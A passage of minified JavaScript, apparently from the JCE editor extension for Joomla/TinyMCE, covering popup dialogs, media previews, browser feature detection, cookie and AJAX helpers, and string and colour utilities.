document.getElementById(parent.id+'_pick').style.backgroundColor=parent.value;};TinyMCE_Utils.addClassesToList=function(list_id,specific_option){var styleSelectElm=document.getElementById(list_id);var styles=tinyMCEPopup.getParam('theme_advanced_styles',false);styles=tinyMCEPopup.getParam(specific_option,styles);if(styles){var stylesAr=styles.split(';');for(var i=0;i<stylesAr.length;i++){if(stylesAr!=""){var key,value;key=stylesAr[i].split('=')[0];value=stylesAr[i].split('=')[1];styleSelectElm.options[styleSelectElm.length]=new Option(key,value);}}}else{tinymce.each(tinyMCEPopup.editor.dom.getClasses(),function(o){styleSelectElm.options[styleSelectElm.length]=new Option(o.title||o['class'],o['class']);});}};this.TinyMCE_Utils=TinyMCE_Utils;standalone=false;}
var $tmp=document.createElement('div');$.support.canvas=!!document.createElement('canvas').getContext;$.support.backgroundSize=(function(){var s=false;$.each(['backgroundSize','MozBackgroundSize','WebkitBackgroundSize','OBackgroundSize'],function(){if(typeof $tmp.style[this]!=='undefined'){s=true;}});return s;})();$.support.pdf=(function(){try{if(!$.support.cssFloat){var control=null;try{control=new ActiveXObject('AcroPDF.PDF');}
catch(e){}
if(!control){try{control=new ActiveXObject('PDF.PdfCtrl');}
catch(e){}}
return control?true:false;}else if(navigator.plugins){for(var n in navigator.plugins){if(n=='Adobe Acrobat'){return true;}
if(navigator.plugins[n].name&&(navigator.plugins[n].name=='Adobe Acrobat'||navigator.plugins[n].name=='Chrome PDF Viewer')){return true;}}}else if(navigator.mimeTypes){var mime=navigator.mimeTypes["application/pdf"];if(mime&&mime.enabledPlugin){return true;}}}
catch(e){}
return false;})();$.support.video=(function(){var el=document.createElement('video'),bool=false;try{if(bool=!!el.canPlayType){bool=new Boolean(bool);bool.ogg=el.canPlayType('video/ogg; codecs="theora"');var h264='video/mp4; codecs="avc1.42E01E';bool.mp4=el.canPlayType(h264+'"')||el.canPlayType(h264+', mp4a.40.2"');bool.webm=el.canPlayType('video/webm; codecs="vp8, vorbis"');}}catch(e){}
return bool;})();$.support.audio=(function(){var el=document.createElement('audio'),bool=false;try{if(bool=!!el.canPlayType){bool=new Boolean(bool);bool.ogg=el.canPlayType('audio/ogg; codecs="vorbis"');bool.mp3=el.canPlayType('audio/mpeg;');bool.wav=el.canPlayType('audio/wav; codecs="1"');bool.m4a=el.canPlayType('audio/x-m4a;')||el.canPlayType('audio/aac;');bool.webm=el.canPlayType('audio/webm; codecs="vp8, vorbis"');}}catch(e){}
return bool;})();$.Plugin={i18n:{},language:'',options:{selectChange:$.noop,site:'',root:'',help:$.noop,alerts:''},getURI:function(absolute){if(!standalone){return tinyMCEPopup.editor.documentBaseURI.getURI(absolute);}
return(absolute)?this.options.root:this.options.site;},init:function(options){var self=this;$.extend(this.options,options);if(!$.support.cssFloat&&document.querySelector){$('#jce').addClass('ie8');}
$('button#insert, input#insert, button#update, input#update').button({icons:{primary:'ui-icon-check'}});$('button#refresh, input#refresh').button({icons:{primary:'ui-icon-refresh'}});$('button#cancel, input#cancel').button({icons:{primary:'ui-icon-close'}});if(standalone){return;}
$('button#apply, input#apply').button({icons:{primary:'ui-icon-plus'}});$('button#help, input#help').button({icons:{primary:'ui-icon-help'}});$('button#cancel, input#cancel').click(function(e){tinyMCEPopup.close();e.preventDefault();});$('#jce').addClass('ui-widget-content');$('#tabs').tabs({activate:function(e,ui){$(ui.newPanel).removeClass('ui-tabs-hide').siblings('.ui-tabs-panel').addClass('ui-tabs-hide');}});this.createColourPickers();this.createBrowsers();$('select.editable, select.mceEditableSelect').combobox({label:self.translate('select_label','Add Value'),change:this.options.change});$('.hastip, .tip, .tooltip').tips();this._formWidgets();},_formWidgets:function(){var self=this;$('input[placeholder], textarea[placeholder]').placeholder();$(':input[pattern]').pattern();$(':input[max]').max();$(':input[min]').min();},getName:function(){return $('body').data('plugin');},getPath:function(plugin){if(!standalone){return tinyMCEPopup.editor.plugins[this.getName()].url;}
return this.options.site+'components/com_jce/editor/tiny_mce/plugins/'+this.getName();},loadLanguage:function(){if(!standalone){var ed=tinyMCEPopup.editor,u=ed.getParam('document_base_url')+'components/com_jce/editor/tiny_mce';if(u&&ed.settings.language&&ed.settings.language_load!==false){u+='/langs/'+ed.settings.language+'_dlg.js';if(!tinymce.ScriptLoader.isDone(u)){document.write('<script type="text/javascript" src="'+tinymce._addVer(u)+'"></script>');tinymce.ScriptLoader.markDone(u);}}}},help:function(){if(!standalone){var ed=tinyMCEPopup.editor;ed.windowManager.open({url:tinyMCEPopup.getParam('site_url')+'index.php?option=com_jce&view=help&tmpl=component&lang='+ed.settings.language+'&section=editor&category='+this.getName(),width:768,height:560,resizable:1,inline:1,close_previous:0});}else{this.options.help.call(this,this.getName());}},setDimensions:function(wo,ho,prefix){prefix=prefix||'';var w=$('#'+prefix+wo).val();var h=$('#'+prefix+ho).val();if(!w||!h)
return;var th=$('#'+prefix+'tmp_'+ho).val();var tw=$('#'+prefix+'tmp_'+wo).val();if(th&&tw){if($('#'+prefix+'constrain').is(':checked')){var temp=(w/$('#'+prefix+'tmp_'+wo).val())*$('#'+prefix+'tmp_'+ho).val();h=temp.toFixed(0);$('#'+prefix+ho).val(h);}}
$('#'+prefix+'tmp_'+ho).val(h);$('#'+prefix+'tmp_'+wo).val(w);},setDefaults:function(s){var n,v;for(n in s){v=s[n];if(v=='default'){v='';}
if($('#'+n).is(':checkbox')){$('#'+n).prop('checked',parseFloat(v));}else{$('#'+n).val(v);}}},setClasses:function(v,n){n=n||'classes';var $tmp=$('<span/>').addClass($('#'+n).val()).addClass(v);$('#'+n).val($tmp.attr('class'));},createColourPickers:function(){var self=this,ed=tinyMCEPopup.editor,doc=ed.getDoc();$('input.color').each(function(){var id=$(this).attr('id');var ev=$(this).get(0).onchange;var $picker=$('<span role="button" class="pickcolor_icon" title="'+self.translate('browse')+'" id="'+id+'_pick"></span>').insertAfter(this).toggleClass('disabled',$(this).is(':disabled')).attr('aria-disabled',function(){return $(this).hasClass('disabled');});$(this).bind('pick',function(){$(this).next('span.pickcolor_icon').css('background-color',$(this).val());});$(this).change(function(e){e.preventDefault();e.stopPropagation();$(this).trigger('pick');if($.isFunction(ev)){ev.call(this);}});var stylesheets=[];if(doc.styleSheets.length){$.each(doc.styleSheets,function(i,s){if(s.href&&s.href.indexOf('tiny_mce')==-1){stylesheets.push(s);}});}
var settings=$.extend(ColorPicker.settings,{widget:$picker,labels:{picker_tab:'Picker',title:'Color Picker',palette_tab:'Palette',palette:'Web Colors',named_tab:'Named',named:'Named Colors',template_tab:'Template',template:'Template Colors',color:'Color',apply:'Apply',name:'Name'},stylesheets:stylesheets,custom_colors:ed.getParam('colorpicker_custom_colors','')});$(this).colorpicker(settings);});},createBrowsers:function(){var self=this;$('input.browser').each(function(){var input=this,type=$(this).hasClass('image')?'image':'file';var ev=$(this).get(0).onchange;$('<span role="button" class="browser_icon" title="'+self.translate('browse')+'"></span>').click(function(){return tinyMCEPopup.openBrowser($(input).attr('id'),type,'file_browser_callback');}).insertAfter(this);$(this).get(0).onchange=function(){if($.isFunction(ev)){ev.call(this);}};});},getLanguage:function(){if(!this.language){var s=$('body').attr('lang')||'en';if(s.length>2){s=s.substr(0,2);}
this.language=s;}
return this.language;},sizeToFit:function(o,c){var x=c.width;var y=c.height;var w=o.width;var h=o.height;var ratio=x/w;if(w/h>ratio){h=h*(x/w);w=x;if(h>y){w=w*(y/h);h=y;}}else{w=w*(y/h);h=y;if(w>x){h=h*(x/w);w=x;}}
return{width:Math.round(w),height:Math.round(h)};},addI18n:function(p,o){var i18n=this.i18n;if($.type(p)=='string'){$.each(o,function(k,o){i18n[p+'.'+k]=o;});}else{$.each(p,function(lc,o){$.each(o,function(g,o){$.each(o,function(k,o){if(g==='common')
i18n[lc+'.'+k]=o;else
i18n[lc+'.'+g+'.'+k]=o;});});});}},translate:function(s,ds){if(!standalone){return tinyMCEPopup.getLang('dlg.'+s,ds);}
if(!$.isPlainObject(this.i18n))
this.i18n={};return this.i18n[this.getLanguage()+'.dlg.'+s]||ds;}};$.Cookie={get:function(n,s){var c=document.cookie,e,p=n+"=",b,v;if(!c){return s;}
b=c.indexOf("; "+p);if(b==-1){b=c.indexOf(p);if(b!=0){return s;}}else{b+=2;}
e=c.indexOf(";",b);if(e==-1){e=c.length;}
v=unescape(c.substring(b+p.length,e));if(typeof v=='undefined'){return s;}
return v;},set:function(n,v,e,p,d,s){document.cookie=n+"="+escape(v)+
((e)?"; expires="+e.toGMTString():"")+
((p)?"; path="+escape(p):"")+
((d)?"; domain="+d:"")+
((s)?"; secure":"");}};$.JSON={queue:function(o){var _old=o.complete;o.complete=function(){if(_old)
_old.apply(this,arguments);};$([$.JSON.queue]).queue("ajax",function(){window.setTimeout(function(){$.ajax(o);},500);});$.dequeue($.JSON.queue,"ajax");},request:function(func,data,callback,scope){var json={'fn':func};callback=callback||$.noop;var args={'format':'raw'};var fields=$(':input','form').serializeArray();$.each(fields,function(i,field){args[field.name]=field.value;});if($.type(data)==='string'||$.type(data)==='array'){$.extend(json,{'args':$.type(data)==='string'?$.String.encodeURI(data):$.map(data,function(s){if(s&&$.type(s)==='string'){return $.String.encodeURI(s);}
return s;})});}else{if($.type(data)==='object'&&data.json){$.extend(json,{'args':data.json});delete data.json;}
$.extend(args,data);}
var url=document.location.href;url=url.replace(/&([a-z0-9]+)=1/,'');function showError(e){var txt=$.type(e)==='array'?e.join('\n'):e;txt=txt.replace(/<br([^>]+?)>/,'');$.Dialog.alert(txt);}
function isJSON(s){return/^[\],:{}\s]*$/.test(s.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,''));}
$.JSON.queue({context:scope||this,type:'POST',url:url,data:'json='+$.JSON.serialize(json)+'&'+$.param(args),dataType:'text',success:function(o){var r;if(o){if($.type(o)==='string'&&isJSON(o)){var s=$.parseJSON(o);if(s){o=s;}}
if($.isPlainObject(o)){if(o.error){showError(o.text||o.error||'');}
r=o.result||null;if(r&&r.error&&r.error.length){showError(r.error);}}else{if(/[{}]/.test(o)){showError('The server returned an invalid JSON response.');}else{showError(o);}}}else{o={'error':''};}
if($.isFunction(callback)){callback.call(scope||this,r);}else{return r;}},error:function(e,txt,status){$.Dialog.alert(status||('SERVER ERROR - '+txt.toUpperCase()));}});},serialize:function(o){return JSON.stringify(o);}},$.URL={toAbsolute:function(url){if(!standalone){return tinyMCEPopup.editor.documentBaseURI.toAbsolute(url);}
if(/http(s)?:\/\//.test(url)){return url;}
return $.Plugin.getURI(true)+url.substr(0,url.indexOf('/'));},toRelative:function(url){if(!standalone){return tinyMCEPopup.editor.documentBaseURI.toRelative(url);}
if(/http(s)?:\/\//.test(url)){return url.substr(url.indexOf('/'));}
return url;}},$.Dialog={counter:0,_uid:function(p){return(!p?'wf_':p)+(this.counter++);},dialog:function(title,data,options){var div=document.createElement('div');options=$.extend(options,{minWidth:options.minWidth||options.width||300,minHeight:options.minHeight||options.height||150,modal:(typeof options.modal==='undefined')?true:options.modal,open:function(){$(div).dialog('widget').next('div.ui-widget-overlay').css({width:'100%',height:'100%'});$('div.ui-dialog-buttonset button[icons]',$(div).dialog('widget')).each(function(){var icon=$(this).attr('icons');$(this).prepend('<span class="ui-button-icon-primary ui-icon '+icon+'"/>');}).addClass('ui-button-text-icon-primary').removeClass('ui-button-text-only');if($.isFunction(options.onOpen)){options.onOpen.call();}},close:function(){$(this).dialog('destroy').remove();}});$(div).attr({'title':title,id:options.id||'dialog'+this._uid()}).append(data).dialog(options);return div;},confirm:function(s,cb,options){var html='<div class="confirm"><span class="icon"></span>'+s+'</div>';options=$.extend({resizable:false,buttons:[{text:$.Plugin.translate('yes','Yes'),icons:{primary:'ui-icon-check'},click:function(){cb.call(this,true);$(this).dialog("close");}},{text:$.Plugin.translate('no','No'),icons:{primary:'ui-icon-close'},click:function(){cb.call(this,false);$(this).dialog("close");}}]},options);return $.Dialog.dialog($.Plugin.translate('confirm','Confirm'),html,options);},alert:function(s){var html='<div class="alert"><span class="icon"></span>'+s+'</div>';var options={resizable:false,buttons:[{text:$.Plugin.translate('ok','OK'),click:function(){$(this).dialog("close");}}]};return $.Dialog.dialog($.Plugin.translate('alert','Alert'),html,options);},prompt:function(title,options){var html='<p>';var id=options.id||'dialog-prompt',name=options.name||'prompt',v=options.value||'';if(options.text){html+='<label for="'+id+'">'+options.text+'</label>';}
if(options.multiline){html+='<textarea id="'+id+'" style="width:200px;height:75px;">'+v+'</textarea>';}else{html+='<input id="'+id+'" name="'+name+'" type="text" value="'+v+'" style="width:200px;" />';}
html+='</p>';if(options.elements){html+=options.elements;}
options=$.extend({resizable:false,width:320,buttons:[{text:$.Plugin.translate('ok','Ok'),icons:{primary:'ui-icon-check'},click:function(){if($.isFunction(options.confirm)){options.confirm.call(this,$('#'+id).val());}else{$(this).dialog("close");}}}],onOpen:function(){$('#'+options.id).focus();}},options);return $.Dialog.dialog(title,html,options);},upload:function(options){var div=document.createElement('div');$(div).attr('id','upload-body').append('<div id="upload-queue-block">'+'  <ul id="upload-queue"><li style="display:none;"></li></ul>'+' <input type="hidden" id="upload-dir" name="upload-dir" />'+' <input type="file" name="file" size="40" style="position:relative;" />'+'</div>'+'<div id="upload-options"></div>');$(div).find('#upload-options').append(options.elements);options=$.extend({minWidth:460,minHeight:350,resizable:false,buttons:[{text:$.Plugin.translate('browse','Browse'),id:'upload-browse',icons:{primary:'ui-icon-search'}},{text:$.Plugin.translate('upload','Upload'),click:function(){if($.isFunction(options.upload)){options.upload.call();}},icons:{primary:'ui-icon-arrowthick-1-n'}},{text:$.Plugin.translate('close','Close'),click:function(){$(this).dialog("close");},icons:{primary:'ui-icon-close'}}]},options);return $.Dialog.dialog($.Plugin.translate('upload','Upload'),div,options);},iframe:function(name,url,options){var div=document.createElement('div');options=$.extend({width:$(window).width()-100,height:$(window).height()-50,onOpen:function(){var iframe=document.createElement('iframe');$(div).addClass('loading');$(iframe).attr({'src':url,'scrolling':'auto','frameborder':0}).css({width:'100%',height:'99%'}).load(function(){var win=this.contentWindow,d=win.document,b=d.body;var w=win.innerWidth||b.clientWidth;var h=win.innerHeight||b.clientHeight;$(this).css({width:w,height:h});if($.isFunction(options.onFrameLoad)){options.onFrameLoad.call(this);}
$(div).removeClass('loading');});$(div).addClass('iframe-preview').append(iframe);$(div.parentNode).dialog("option","position",'center');}},options);var name=name||$.Plugin.translate('preview','Preview');return $.Dialog.dialog(name,div,options);},media:function(name,url,options){var self=this;options=options||{};var div=document.createElement('div');var ww=$(window).width(),wh=$(window).height();$.extend(options,{width:ww-Math.round(ww/100*10),height:wh-Math.round(wh/100*10),resizable:false,close:function(){$(div).empty();$(this).dialog('destroy').remove();},dialogClass:'ui-preview',onOpen:function(){var parent=div.parentNode;if(/\.(jpg|jpeg|gif|png)/i.test(url)){$(div).addClass('image-preview big-loader');var img=new Image(),loaded=false;var dw=$(parent).width(),dh=$(parent).height();img.onload=function(){if(loaded)
return false;if($.support.backgroundSize){$('div.image-preview').removeClass('loader').addClass('background').css({'background-image':'url("'+img.src+'")'});if(img.width>dw||img.height>dh){$('div.image-preview').addClass('resize');}}else{if(img.width>dw||img.height>dh){var dim=$.Plugin.sizeToFit(img,{width:Math.round($(window).width())-160,height:Math.round($(window).height())-190});$('div.image-preview').removeClass('loader').append('<img src="'+url+'" width="'+dim.width+'" height="'+dim.height+'" alt="'+$.Plugin.translate('preview','Preview')+'" />');$('div.image-preview').css('margin-top',($(parent).height()-dim.height)/2);}else{$('div.image-preview').removeClass('loader').addClass('background').css({'background-image':'url('+url+')'});}}
$(parent).click(function(){$(div.parentNode).dialog('close');});$(parent).dialog("option","position",'center');loaded=true;$(div).removeClass('big-loader');};img.src=url+(/\?/.test(url)?'&':'?')+new Date().getTime();}else if(/\.pdf$/i.test(url)){$(div).addClass('media-preview big-loader').height($(parent).height()-20);if($.support.pdf){$(div).html('<object data="'+url+'" type="application/pdf" width="'+$(div).innerWidth()+'" height="'+$(div).innerHeight()+'"></object>').removeClass('big-loader');}else{$(div).html('<iframe src="'+url+'" width="'+$(div).innerWidth()+'" height="'+$(div).innerHeight()+'" frameborder="0"></iframe>').removeClass('big-loader');}}else{$(div).addClass('media-preview big-loader').height($(parent).height()-20);var mediaTypes={"flash":{classid:"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000",type:"application/x-shockwave-flash",codebase:"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"},"shockwave":{classid:"clsid:166b1bca-3f9c-11cf-8075-444553540000",type:"application/x-director",codebase:"http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0"},"windowsmedia":{classid:"clsid:6bf52a52-394a-11d3-b153-00c04f79faa6",type:"application/x-mplayer2",codebase:"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701"},"quicktime":{classid:"clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b",type:"video/quicktime",codebase:"http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0"},"divx":{classid:"clsid:67dabfbf-d0ab-41fa-9c46-cc0f21721616",type:"video/divx",codebase:"http://go.divx.com/plugin/DivXBrowserPlugin.cab"},"realmedia":{classid:"clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa",type:"audio/x-pn-realaudio-plugin"},"java":{classid:"clsid:8ad9c840-044e-11d1-b3e9-00805f499d93",type:"application/x-java-applet",codebase:"http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"},"silverlight":{classid:"clsid:dfeaf541-f3e1-4c24-acac-99c30715084a",type:"application/x-silverlight-2"},"video":{type:'video/mp4'},"audio":{type:'audio/mp3'}};var mimes={};(function(data){var items=data.split(/,/),i,y,ext;for(i=0;i<items.length;i+=2){ext=items[i+1].split(/ /);for(y=0;y<ext.length;y++)
mimes[ext[y]]=items[i];}})("application/x-director,dcr,"+"application/x-mplayer2,wmv wma avi,"+"video/divx,divx,"+"application/x-shockwave-flash,swf swfl,"+"audio/mpeg,mpga mpega mp2 mp3,"+"audio/ogg,ogg spx oga,"+"audio/x-wav,wav,"+"video/mpeg,mpeg mpg mpe,"+"video/mp4,mp4 m4v,"+"video/ogg,ogg ogv,"+"video/webm,webm,"+"video/quicktime,qt mov,"+"video/x-flv,flv,"+"video/vnd.rn-realvideo,rv,"+"video/3gpp,3gp,"+"video/x-matroska,mkv");var ext=$.String.getExt(url);var mt=mimes[ext];var type,props;$.each(mediaTypes,function(k,v){if(v.type&&v.type==mt){type=k;props=v;}});if(/^(mp4|m4v|og(g|v)|webm)$/i.test(ext)){type='video';props={type:mt};}
if(/^(mp3|og(g|a)|webm)$/i.test(ext)){type='audio';props={type:mt};}
if(/^(flv|f4v)$/i.test(ext)){type='flv';props={};}
var swf=$.Plugin.getURI(true)+'components/com_jce/editor/libraries/mediaplayer/mediaplayer.swf';if(type&&props){switch(type){case'audio':case'video':var fb,ns='<p style="margin-left:auto;">'+$.Plugin.translate('media_not_supported','Media type not supported by this browser')+'</p>';var support={video:{'mp4':['mp4','m4v'],'webm':['webm'],'ogg':['ogv','ogg']},audio:{'mp3':['mp3'],'ogg':['oga','ogg']}}
var hasSupport=false;for(var n in support[type]){if(support[type][n].indexOf(ext)!=-1){hasSupport=$.support[type][n];}
if(hasSupport===true){break;}}
if(hasSupport){if(type=='video'){$(div).append('<video autoplay="autoplay" controls="controls" preload="none" type="'+props.type+'" style="width:100%;height:100%;" src="'+url+'"></video>');}else{$(div).append('<audio autoplay="autoplay" controls="controls" preload="none" type="'+props.type+'" src="'+url+'"></audio>');}}else if(/^m(p3|p4|4v)$/i.test(ext)){url=$.URL.toAbsolute(url);$(div).html('<object type="application/x-shockwave-flash" data="'+swf+'"><param name="movie" value="'+swf+'" /><param name="flashvars" value="src='+url+'&autoPlay=true&controlBarAutoHide=false&playButtonOverlay=false" /></object>');if(ext=='mp3'){$('object',div).addClass('audio');}}else{$(div).html(ns).removeClass('loader');}
break;case'flv':url=$.URL.toAbsolute(url);$(div).append('<object type="application/x-shockwave-flash" data="'+swf+'"><param name="movie" value="'+swf+'" /><param name="flashvars" value="src='+url+'&autoPlay=true&controlBarAutoHide=false" /></object>');break;case'flash':$(div).append('<object type="'+props.type+'" data="'+url+'" style="width:100%;height:100%;"><param name="movie" value="'+url+'" /></object>');break;default:$(div).append('<object classid="'+props.classid+'" style="width:100%;height:100%;"><param name="src" value="'+url+'" /><embed src="'+url+'" style="width:100%;height:100%;" type="'+props.type+'"></embed></object>');break;}
$(div).removeClass('big-loader');}}}});return $.Dialog.dialog($.Plugin.translate('preview','Preview')+' - '+name,div,options);}};$.String={basename:function(s){return s.replace(/^.*[\/\\]/g,'');},dirname:function(s){if(/[\\\/]+/.test(s)){return s.replace(/\\/g,'/').replace(/\/[^\/]*\/?$/,'');}
return'';},filename:function(s){return this.stripExt(this.basename(s));},getExt:function(s){return s.substring(s.length,s.lastIndexOf('.')+1).toLowerCase();},stripExt:function(s){return s.replace(/\.[^.]+$/i,'');},pathinfo:function(s){var info={'basename':this.basename(s),'dirname':this.dirname(s),'extension':this.getExt(s),'filename':this.filename(s)};return info;},path:function(a,b){a=this.clean(a);b=this.clean(b);if(a.substring(a.length-1)!='/')
a+='/';if(b.charAt(0)=='/')
b=b.substring(1);return a+b;},clean:function(s){if(!/:\/\//.test(s)){return s.replace(/\/+/g,'/');}
return s;},replaceDiacritic:function(s){var i,lookup;lookup=[/[\300-\306]/g,'A',/[\340-\346]/g,'a',/\307/g,'C',/\347/g,'c',/[\310-\313]/g,'E',/[\350-\353]/g,'e',/[\314-\317]/g,'I',/[\354-\357]/g,'i',/\321/g,'N',/\361/g,'n',/[\322-\330]/g,'O',/[\362-\370]/g,'o',/[\331-\334]/g,'U',/[\371-\374]/g,'u'];for(i=0;i<lookup.length;i+=2){s=s.replace(lookup[i],lookup[i+1]);}
return s;},_toUnicode:function(s){var c=s.toString(16).toUpperCase();while(c.length<4){c='0'+c;}
return'\\u'+c;},safe:function(s,mode,spaces,textcase){mode=mode||'utf-8';if(!spaces){s=s.replace(/[\s ]/g,'_');}
if(mode=='ascii'){s=this.replaceDiacritic(s);s=s.replace(/[^\w\.\-~\s ]/gi,'');}else{s=s.replace(/[\+\\\/\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]/g,'');var r='';for(var i=0,ln=s.length;i<ln;i++){var ch=s[i];if(/[^\w\.\-~\s ]/.test(ch)){if(this._toUnicode(ch.charCodeAt(0))<'\\u007F'){continue;}}
r+=ch;}
s=r;}
s=s.replace(/(\.){2,}/g,'');s=s.replace(/^\./,'');s=s.replace(/\.$/,'');s=this.basename(s);if(textcase){switch(textcase){case'lowercase':s=s.toLowerCase();break;case'uppercase':s=s.toUpperCase();break;}}
return s;},query:function(s){var p={};s=this.decode(s);if(s.indexOf('=')===-1){return p;}
if(/\?/.test(s)){s=s.substring(s.indexOf('?')+1);}
if(/#/.test(s)){s=s.substr(0,s.indexOf('#'));}
var pairs=s.replace(/&amp;/g,'&').split('&');$.each(pairs,function(){var pair=this.split('=');p[pair[0]]=pair[1];});return p;},encode:function(s){var baseEntities={'"':'&quot;',"'":'&#39;','<':'&lt;','>':'&gt;','&':'&amp;'};return(''+s).replace(/[<>&\"\']/g,function(chr){return baseEntities[chr]||chr;});},decode:function(s){var reverseEntities={'&lt;':'<','&gt;':'>','&amp;':'&','&quot;':'"','&apos;':"'"};return s.replace(/&(#)?([\w]+);/g,function(all,numeric,value){if(numeric)
return String.fromCharCode(value);return reverseEntities[all];});},escape:function(s){return encodeURI(s);},unescape:function(s){return decodeURI(s);},encodeURI:function(s,preserve_urls){if(s&&s.indexOf('file://')===0){return s;}
s=encodeURIComponent(decodeURIComponent(s)).replace(/%2F/g,'/');if(preserve_urls){s=s.replace(/%(21|2A|27|28|29|3B|3A|40|26|3D|2B|24|2C|3F|25|23|5B|5D)/g,function(a,b){return String.fromCharCode(parseInt(b,16));});}
return s;},buildURI:function(s){if(/^\s*www\./.test(s)){s='http://'+s;}
return s.replace(/ /g,'%20');},toHex:function(color){var re=new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)","gi");var rgb=color.replace(re,"$1,$2,$3").split(',');if(rgb.length==3){r=parseInt(rgb[0]).toString(16);g=parseInt(rgb[1]).toString(16);b=parseInt(rgb[2]).toString(16);r=r.length==1?0+r:r;g=g.length==1?0+g:g;b=b.length==1?0+b:b;return"#"+r+g+b;}
return color;},toRGB:function(color){if(color.indexOf('#')!=-1){color=color.replace(new RegExp('[^0-9A-F]','gi'),'');r=parseInt(color.substring(0,2),16);g=parseInt(color.substring(2,4),16);b=parseInt(color.substring(4,6),16);return"rgb("+r+","+g+","+b+")";}
return color;},ucfirst:function(s){return s.charAt(0).toUpperCase()+s.substring(1);},formatSize:function(s){if(s>1048576){return Math.round((s/1048576)*100)/100+" "+$.Plugin.translate('size_mb','MB');}
if(s>1024){return Math.round((s/1024)*100)/100+" "+$.Plugin.translate('size_kb','KB');}
return s+" "+$.Plugin.translate('size_bytes','Bytes');},formatDate:function(time,fmt){var date=new Date(time*1000);fmt=fmt||'%d/%m/%Y, %H:%M';function addZeros(value,len){var i;value=""+value;if(value.length<len){for(i=0;i<(len-value.length);i++)
value="0"+value;}
return value;}
fmt=fmt.replace("%D","%m/%d/%y");fmt=fmt.replace("%r","%I:%M:%S %p");fmt=fmt.replace("%Y",""+date.getFullYear());fmt=fmt.replace("%y",""+date.getYear());fmt=fmt.replace("%m",addZeros(date.getMonth()+1,2));fmt=fmt.replace("%d",addZeros(date.getDate(),2));fmt=fmt.replace("%H",""+addZeros(date.getHours(),2));fmt=fmt.replace("%M",""+addZeros(date.getMinutes(),2));fmt=fmt.replace("%S",""+addZeros(date.getSeconds(),2));fmt=fmt.replace("%I",""+((date.getHours()+11)%12+1));fmt=fmt.replace("%p",""+(date.getHours()<12?"AM":"PM"));fmt=fmt.replace("%%","%");return fmt;}};$.Plugin.loadLanguage();})(jQuery);if(typeof ColorPicker==='undefined'){var ColorPicker={settings:{}};}
(function($,prototype){var _trigger=prototype._trigger;prototype._trigger=function(type,event,data){var ret=_trigger.apply(this,arguments);if(!ret){return false;}
if(type==="beforeActivate"){ret=_trigger.call(this,"select",event,data);}else if(type==="activate"){ret=_trigger.call(this,"selected",event,data);}
return ret;}}(jQuery,jQuery.ui.tabs.prototype));(function($,prototype){prototype.activate=prototype._activate;}(jQuery,jQuery.ui.accordion.prototype));(function($,prototype){var _trigger=prototype._trigger;prototype._trigger=function(type,event,data){var ret=_trigger.apply(this,arguments);if(!ret){return false;}
if(type==="beforeActivate"){ret=_trigger.call(this,"changestart",event,data);}else if(type==="activate"){ret=_trigger.call(this,"change",event,data);}
return ret;}}(jQuery,jQuery.ui.accordion.prototype));(function($,prototype){prototype.options.heightStyle="content";}(jQuery,jQuery.ui.accordion.prototype));(function($,ui){$(document).ready(function(){$.each(['resize','crop','rotate','sortable'],function(i,k){if(ui[k]){var proto=ui[k].prototype;var _init=proto._init;proto._init=function(){_init.apply(this,arguments);$(this.element).data(k,true);};}});});}(jQuery,jQuery.ui));var WFExtensions={types:{},add:function(n,o){this[n]=o;return this[n];},addType:function(n){this.types[n]={};},addExtension:function(type,n,o){if(typeof this.types[type]=='undefined'){this.addType(type);}
this.types[type][n]=o;},getType:function(type){return this.types[type]||false;},getExtension:function(type,ext){var s=this.getType(type);return s[ext];}};var WFAggregator=WFExtensions.add('Aggregator',{aggregators:{},add:function(name,o){this.aggregators[name]=o||{};},get:function(name){return this.aggregators[name]||null;},setup:function(options){var self=this;options=options||{};tinymce.each(this.aggregators,function(o,k){self.setParams(o,options);return self._call(o,'setup');});},getTitle:function(name){var f=this.get(name);if(f){return f.title;}
return name;},getType:function(name){var f=this.get(name);if(f){return f.getType();}
return'';},getValues:function(name,src){var f=this.get(name);if(f){return this._call(f,'getValues',src);}},setValues:function(name,data){var f=this.get(name);if(f){return this._call(f,'setValues',data);}},getAttributes:function(name,args){var f=this.get(name);if(f){return this._call(f,'getAttributes',args);}},setAttributes:function(name,args){var f=this.get(name);if(f){return this._call(f,'setAttributes',args);}},isSupported:function(args){var self=this,r,v;tinymce.each(this.aggregators,function(o){if(v=self._call(o,'isSupported',args)){r=v;}});return r;},getParam:function(name,param){var f=this.get(name);if(f){return f.params[param]||'';}
return'';},setParams:function(name,o){var f=this.get(name);if(f){tinymce.extend(f.params,o);}},onSelectFile:function(name){var f=this.get(name);if(f){return this._call(f,'onSelectFile');}},onInsert:function(name){var self=this,f=this.get(name);if(f){return self._call(f,'onInsert');}},_call:function(o,fn,vars){var f=o[fn]||function(){};return f.call(o,vars);}});var WFMediaPlayer=WFExtensions.add('MediaPlayer',{params:{extensions:'flv,f4v',dimensions:{},path:''},type:'flash',init:function(o){tinymce.extend(this,o);return this;},setup:function(){},getTitle:function(){return this.title||this.name;},getType:function(){return this.type;},isSupported:function(){return false;},getParam:function(param){return this.params[param]||'';},setParams:function(o){tinymce.extend(this.params,o);},getPath:function(){return this.getParam('path');},onSelectFile:function(file){},onInsert:function(){},onChangeType:function(){}});var WFPopups=WFExtensions.add('Popups',{popups:{},popup:'',config:{},addPopup:function(n,o){this.popups[n]=o;WFExtensions.addExtension('popups',n,o);},getPopups:function(){return this.popups;},setup:function(){var self=this,ed=tinyMCEPopup.editor,s=ed.selection,n;$('#popup_list').change(function(){self.selectPopup(this.value);}).change();if(!s.isCollapsed()){n=s.getNode();var state=true,v;function 